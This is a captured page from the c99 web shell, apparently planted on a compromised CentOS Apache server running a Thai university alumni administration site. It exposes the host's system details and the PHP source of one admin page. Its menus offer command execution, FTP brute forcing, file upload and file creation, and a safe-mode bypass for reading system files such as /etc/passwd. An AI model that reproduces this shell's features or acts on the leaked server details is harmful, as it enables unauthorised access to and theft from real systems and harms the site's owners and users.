!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 52 GB of 127.8 GB (40.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     compareprogram.php (4.8 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../global1.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../../class/clsDB.php";
include_once(
"../class/clsProgram.php");

$oC1 = new clsConnection($GLOBALS["HOST_ER"],$GLOBALS["DBNAME_ER"],$GLOBALS["USERNAME_ER"],$GLOBALS["PASSWORD_ER"]);
$oPgR = new Program($oC1);

include_once 
"../link/function.php";
include_once 
"../class/clsConnection.php";
include_once 
"../class/clsprogramalumni.php";
confirmSubmit();
$oC = new Connection();
$oPg = new Programalumni($oC->c);
/*$oDp2 = new Department($oC->c);
$oDp3 = new Department($oC->c);
$oDp4 = new Department($oC->c);
$oDp5 = new Department($oC->c);
if($xv==1)
{
    //$maxDate = $oDp->MaxDate();
    $oDp->RSDepartmentMaxDate($oDp->MaxDate());
    while($oDp->GetRecord())
    {
        $oDp2->AddNew();
        $oDp2->deptId=$oDp2->GetNextCode();
        $oDp2->deptName=$oDp->deptName;
        $oDp2->deptDesc=$oDp->deptDesc;
        $oDp2->deptCode=$oDp->deptCode;
        $oDp2->deptParent='1';
        $oDp2->deptYear=$deptYear;
        $oDp2->deptDate=$deptDate;
        $oDp2->deptRef=$oDp->deptId;
        $oDp2->pbriId=$pbriId
        $oDp2->deptflag=$deptflag;
        $oDp2->Save();
    }
}*/
?>
<script language="JavaScript1.2">
function checkAction(){
                        document.ps.action="processdept.php";
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr><td></td></tr>
    <tr>
        <td><br><fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menubasicdata.php?mm=1">ข้อมูลพื้นฐานของระบบ</a> 
       <img src="../picture/ico3.gif" align="absmiddle" border="0">กำหนดหลักสูตรจากระบบทะเบียนให้สัมพันธ์กับหลักสูตรในระบบศิษย์เก่า</font></legend>
            <label><div align="center"><form name="ps" method="post" action="processdept.php";><br><table width="740" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr>
              <td align="center"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>กำหนดหลักสูตรจากระบบทะเบียนให้สัมพันธ์กับหลักสูตรในระบบศิษย์เก่า</strong></font></td>
            </tr>
                  <tr > 
                    <td height="20" align="center">&nbsp;</td>
                  </tr>
                <tr>
                    <td align="center"><table width="740" border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                      <tr>
                        <td colspan="6" align="center"> </td>
                      </tr>
                      
                      <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>">
                        <td  height="22" align="center" colspan="5"><strong><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>" size="2">หลักสูตรจากระบบทะเบียนสัมพันธ์กับหลักสูตรในระบบศิษย์เก่า</font></strong></td>
                      </tr>
                      <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                        <td width="35"  height="22" align="center"><strong><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2">ลำดับ</font></strong></td>
                        <td   height="22" align="center"><strong><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2">หลักสูตรจากระบบทะเบียน</font></strong></td>
                        <td height="22" align="center"><strong><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2">หลักสูตรในระบบศิษย์เก่า</font></strong></td>
                      </tr>
                      <?
                            $oPgR
->RSProgram();
                            while(
$oPgR->GetRecord())
                            {
                                    if((
$i%2) == 0)
                                        echo 
"<tr>";
                                    else
                                        echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
                        
?>
                      <tr>
                        <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $i+1?></font></td>
                        <td align="left"><? echo $oPgR->programName?></td>
                        <td align="left"><? echo $oPg->selectHTML("programId",$programId);?></td>
                      </tr>
                      <?
                                      $i
++;
                              }
                      
?>
                      <input type="hidden" name="method" value="<? echo $method;?>">
                      </table></td>
                </tr>
                <tr>
                  <td align="center">&nbsp;</td>
                </tr>
                <tr>
                  <td align="center"><input type="button" name="add" value="บันทึกข้อมูล" onClick="return validate()"></td>
                </tr>
            </table>
                        </form>
            </div></label>
        </fieldset><br><table width="93%" align="left" border="0" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
        <tr> 
          <td height="20" align="left" > <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></tr>
      </table></td>
    </tr>
</table>
<?php
showFooter
();
$oC->Disconnect();
$oDp->Close();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0088 ]--